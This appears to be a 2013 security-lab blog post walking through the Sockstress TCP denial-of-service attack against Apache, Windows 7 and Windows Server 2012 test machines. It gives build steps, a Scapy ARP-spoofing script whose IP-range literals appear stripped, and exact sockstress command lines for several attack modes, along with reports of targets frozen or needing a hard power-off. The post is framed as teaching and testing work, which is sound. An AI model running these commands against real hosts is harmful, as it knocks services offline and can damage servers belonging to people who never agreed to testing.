Sockstress is an old attack, from 2008, that completes TCP handshakes and then lowers the Window size to zero (or some other small value), tying up connections at layer 4, somewhat similar to the SlowLoris layer 7 attack.

I searched for working code to test it a few years ago, but couldn't find any, and I thought it had been patched.

Then, in December of 2012, @seeveeare contacted me on Twitter and said it was really powerful and I should check it out.

At first it seemed weak to me, because a cursory reading of the Wikipedia page made me expect it to kill the target OS completely. But then I read it more carefully and realized that when attacking from a single IP address, and for only a brief time, I should only expect to render a single service unavailable, not kill the whole OS.

This is a very dangerous attack, because it can be performed remotely, over the Internet. And, for some reason, it hasn't been well patched yet.


  1. Attacking Apache on Linux: Temporary DoS
  2. Preparing an Attack Machine
  3. Freezing Windows 7 Five Ways
  4. Long-term Damage to Windows 7
  5. Sockstress on Kali kills Server 2012
  6. Comparison of Kali and Slackware
  7. Killing a Server Dead

7. Killing a Server Dead

The video below shows how an attack lasting about 5 minutes kills a server dead, so it requires a hard power down. This effect was difficult to get reliably using a virtual machine as a target, so I used a real Windows 2012 server.

6. Comparison of Kali and Slackware

Using a Windows Server 2012 target, I set up performance monitoring to record these three counters every 5 seconds: As shown below, Kali is less powerful than Slackware 10.2 as an attacker, but the attack still works:

Only once in the eight tests summarized above did the server freeze and require a hard power reset--after the last Slackware attack.

5. Sockstress on Kali kills Server 2012

As you can see below, it uses up all available RAM on a Windows 2012 Server in about 60 seconds.

Even when the attack stops, the RAM doesn't become available again quickly.

Someone on Twitter told me there was a script that made sockstress compile on BackTrack, so I searched for it but could not find it.

However, I decided to try compiling it on Kali Linux, and it works! This is really good news, making it much easier for students and researchers to test the attack.

Here are the four steps I used to get sockstress working, each of which is detailed below:

  1. Prepare a target machine
  2. Download and compile sockstress
  3. Download and run arppoi
  4. Running the attack

Prepare a Target Machine

All you need is a machine listening on several TCP ports. I used a Server 2012 virtual machine, and used Server Manager to install on a lot of roles.

On your Kali Linux machine, execute this command, replacing the IP address with your target's IP address:

Make a note of the open TCP ports it finds, as shown below:

On your Kali Linux machine, in a new Terminal window, execute this command, replacing the IP address with your target's IP address:

Leave the pings running, to keep the ARP resolution of the target machine current.

Download and Compile Sockstress

Execute these commands:
apt-get update

apt-get install libpcap0.8-dev libssl-dev -y


tar xzf sockstress-outpost24.tar.gz

cd sockstress


nano config.h

In nano, change
#include <pcap.h>
#include </usr/include/pcap.h>
as shown below:

Type Ctrl+X, Y, Enter to save the file.

Execute this command:


I saw a couple pages of warnings go by, but nothing fatal, as shown below:

Download and Run arppoi

Open a second Terminal window, and execute these commands:


chmod a+x arppoi

Arppoi is a simple Scapy script, as shown below:
Execute this command:

nano arppoi
Change the MAC address to the MAC address of your Kali Linux machine.

Press Ctrl+X, Y, Enter to save your file.

Execute this command:

Leave this program running, so all new source IP addresses will resolve to the Kali Linux machine's MAC address.

Running the Attack

Open a new Terminal window and execute this command, making these adjustments:
./sockstress -A -c -1 -d -m -1 -Ms -p 21,23,80,135,443,445,593,3388,3389,5985,47001,48885,49152,49153,49154,49155,49156,49157,49159 -r 100000 -s -vv

4. Long-term Damage to Windows 7

Robert E. Lee tweeted me to tell me how to really kill a server: run many open ports and get a lot of open connections.

The Attacker is a Slackware 10.2 VMware virtual machine, with 1024 MB of RAM.

The Target is a Windows 7 Pro VMware virtual machine, with only 512 MB of RAM, to make it especially vulnerable. It's running several services: HTTP on ports 80 and 8080, HTTPS, FTP on ports 21 and 1021, RDP on port 3389, and Telnet, as shown below:

Before the attack, the system uses almost no CPU and 341 MB of RAM.

Segment Hole Stress Attack

This command sends 4 bytes to the beginning of the window, then 4 bytes to the end, and then sets the windows size to zero. This is intended to waste a lot of RAM for each connection. It uses this command line:
./sockstress -A -c -1 -d -m -1 -Ms -p 21,23,80,135,445,1021,3389,8080 -r 100000 -s -vv
Here's the attack about 20 seconds in--RAM and CPU maxed out:

I let the attack run for five minutes and then stopped it. Here's the result just after the attack stopped--the CPU drops to zero immediately, but the RAM consumption stays high, at 487 MB:

Here's the status five minutes after the attack stopped--RAM use is still high, at 473 MB:

Even after 20 minutes, RAM usage is still high, at 475 MB. It seems like this server won't ever recover without a reboot.

The server won't shut down at all. Clicking Start, "Shut Down" has no effect except to increase RAM usage back to the max, as it makes an ineffectual struggle to finish all the hung responses, as shown below:

It's necessary to just pull the power out now. This may be the reason the Wikipedia page warns people that a server may become unbootable--I know hard power failures are bad for servers.

3. Freezing Windows 7 Five Ways

The Attacker is a Slackware 10.2 VMware virtual machine, using Bridged networking, with 1024 MB of RAM, as shown below:

Target is a Windows 7 Pro VMware virtual machine, with only 512 MB of RAM, to make it especially vulnerable. It's also using Bridged networking.

The target is running IIS, serving a default Web page. It has an IP address of As you can see, NETSTAT -AN shows very few entries at the start, before the attack starts:

On the Attacker, I execute this command to perform the ARP spoofing:


Zero Window Connection Stress Attack

On the Attacker, in a second Terminal window, I execute these commands to perform the sockstress attack:

cd sockstress

./sockstress -A -c -1 -d -m -1 -Mz -p 80 -r 100000 -s -vv

This sends attacks at a rate of 100000 per second, from spoofed source addresses in the subnet. Other details are on the Wikipedia page.

I don't really get 100000 connections per second. For about 10-20 seconds, I see connections made at the rate of about 4000 per second, as shown below. On the target, NETSTAT -AN now shows no TCP connections at all, which is obviously wrong since the attacker is completing thousands of handshakes per second.

After another 10-20 seconds, the target is heavily burdened, and the rate of new connections slows to around 3000 per second, as shown below.

Within a minute or so, the target is frozen: the mouse gives either no response, or a partial response several seconds after a mouse motion. The rate of new connections has fallen to around 2000 per second.

The frozen Windows 7 screen is shown below on the right, with the attacker on the left:

After the attack stops, the target becomes responsive to the mouse immediately. But even several minutes later, NETSTAT -AN still shows no TCP connections at all. That's obviously wrong, since I can open the Web page from the Slackware attacker. There is still a listening port, and at least one active connection, but NETSTAT -AN doesn't report it.

Small Window Stress Attack

I switched to NAT networking for these tests, since both the attacker and defender are VMware machines.

This attack uses a Windows size of 4 bytes, with this command line:

./sockstress -A -c -1 -d -m -1 -Mw -p 80 -r 100000 -s -vv
This was even more effective, freezing the Windows 7 machine instantly. It still responded to the mouse very slowly; after about 45 seconds of very careful clicking I was able to open Task Manager and run NETSTAT -AN, showing that, once again, the TCP stack seems invisible and both the RAM and CPU are exhausted.

Segment Hole Stress Attack

This command sends 4 bytes to the beginning of the window, then 4 bytes to the end, and then sets the windows size to zero. This is intended to waste a lot of RAM for each connection. It uses this command line:
./sockstress -A -c -1 -d -m -1 -Ms -p 80 -r 100000 -s -vv
It took about ten seconds to freeze the Windows 7 target; as you can see, NETSTAT -AN didn't even respond within the first minute or so:

After a few minutes, the CPU came down somewhat, and the Windows 7 target machine responded almost normally. It seems that Windows 7 adapts to this attack.

NETSTAT -AN still shows an incorrect response, omitting all the TCP information.

Also, this attack made Windows 7 unable to restart normally, which I did not see with the previous attacks.

Req Fin Pause Stress Attack

This attack sends an HTTP GET, then sends a FIN to close the connection with zero window size.

It uses this command line:

./sockstress -A -c -1 -d -m -1 -MS -p 80 -r 100000 -s -vv
This made the machine somewhat unresponsive instantly; as you can see, NETSTAT -AN gave no response. However, it still gave some response to mouse clicks.

After about two minutes, NETSTAT -AN finally gave the usual incorrect response, but the Windows 7 target showed no ability to adapt to this attack--the CPU just stays at 100% as long as the attack continues:

When the attack stopped, the CPU came down within a few seconds, and the machine could shut down normally.

Activate Reno Pressure Stress Attack

This attack uses three ACK packets to attack "reno or similar scheduler functionality", according to the Wikipedia page. It uses this command line:
./sockstress -A -c -1 -d -m -1 -MR -p 80 -r 100000 -s -vv
Although the CPU went up to 100% within seconds, the mouse remained responsive, and NETSTAT -AN actually showed the connections, as shown below:

It continued to scroll for several minutes, and showed no sign of ever stopping, as shown below.

When I stopped the attack, the CPU stayed at 100% until I stopped the NETSTAT -AN process with Ctrl+C. Then it reduced to almost 0% within a few seconds, and the Windows 7 target was able to shut down normally.

2. Preparing an Attack Machine

There are several different ways to perform the Sockstress attack. There are three issues I encountered:

Two Sockstress Software Versions

New Version

This version is simpler than the original version, and has fewer options. In particular, it doesn't support attacking from spoofed source IP addresses, which makes it a lot weaker than the original version. It's also dangerous to use, because the attack can damage the attacking machine since it uses its real IP address.

But it compiles on Backtrack Linux version 5 R3.

Download it from:

Alternate source

MD5: 3847107d91a1a87b2de0cb865bd03aa4

Original Version

This is the original Outpost 24 version, with all the features described in the Wikipedia Page.

The only problem with this version is that it won't compile on Backtrack Linux. You need Slackware.

Download it from:

Alternate source

MD5: 292ad9f40a472883b34e4dbefe5f6c35

Operating System Versions

I used two versions of Slackware successfully:
Slackware 14 (VirtualBox virtual machine)

Slackware 10.2 (VMware virtual machine)

I have seen a claim that this attack works better with real machines than virtual machines, which makes sense-most things that involve ARP poisoning work better with real machines.

But I have only used the virtual machines so far.

I also used good old Backtrack 5 R3, which you can download here:

ARP Spoofing

To get the best results with Sockstress, you need to attack from spoofed IP addresses that are not really in use by the attacking system. This makes the attack more effective, and also protects the attacking machine from the effects of the attack.

To spoof those addresses, you must use some tool to generate ARP replies when the target sends ARP requests trying to find the spoofed addresses.

The Wikipedia Page says to use the fantaip tool for this purpose. However, I was unable to make that tool work on any operating system, even after installing unicornscan and all its dependencies.

So I wrote my own ARP spoofer using scapy.

If you are using BackTrack, scapy is already installed. If you are using Slackware, see the detailed instructions below to install scapy.

ARP Spoofing with Scapy

Execute these commmands to create the arp spoofing tool with scapy:

pico arppoi

Paste in this code, replacing the spoofed IP range and attacker MAC address as indicated:
#!/usr/bin/env python
import sys
from scapy.all import *

def findARP(p):
  op = p.sprintf("%ARP.op%")
  if op == "who-has":                   # Only respond to ARP Requests
    pdst = p.sprintf("%ARP.pdst%")
    len = pdst.__len__()
    if len == 14:                       # Addr like
      if pdst > "":       #
        if pdst < "":
          psrc = p.sprintf("%ARP.psrc%")
          print "ARP detected: ", op, " ", pdst, " tell ", psrc
          B = ARP()
          B.op = "is-at"
          B.pdst = psrc
          B.psrc = pdst
          B.hwsrc = "00:0c:29:32:85:64"  # MAC Addr of Sockstress Attacker
          B.hwdst = "ff:ff:ff:ff:ff:ff"
          print "Sending ", B.summary()
Save the file with Ctrl+X, Y, Enter.

Execute this command to make the program executable:

chmod a+x arppoi

Slackware 10.2 Prep (Recommended)

Here are the steps I used to prepare a Slackware 10.2 VMware attack machine.

Slackware 14 Prep (Not Recommended)

Here are the steps I used to prepare a Slackware 14 VirtualBox attack machine.

I don't recommend it, because it was much slower than the Slackware 10.2 machine in my tests. I don't know if the problem is Slackware or VirtualBox.

1. Attacking Apache with Sockstress

I tested it using the same setup as SlowLoris: Target is on the left, a BackTrack 5 R3 virtual machine running Apache. Attacker is on the right, running sockstress.

As you can see below, it exhausts all available requests, after just a few seconds.

So, it's worth checking out. Especially since variants of the attack are supposed to kill the target OS entirely, even to the point of making it unbootable.


Get sockstress source code here:



Thanks to @seeveeare and rcv for informing me about this, and to Robert E. Lee for helping me get it working.

Posted 3:52 PM 1-1-13 by Sam Bowne
Sections 2 and 3 added 2:00 PM 1-8-13
Section 3 expanded 7:19 PM 1-8-13
Section 4 added 1:36 AM 1-9-13
Section 5 added 1:50 pm 6-23-13
pcap dependency resolution added 6-24-13
Comparison of Kali and Slackware added 6-30-13
Video killing server dead added 7-1-13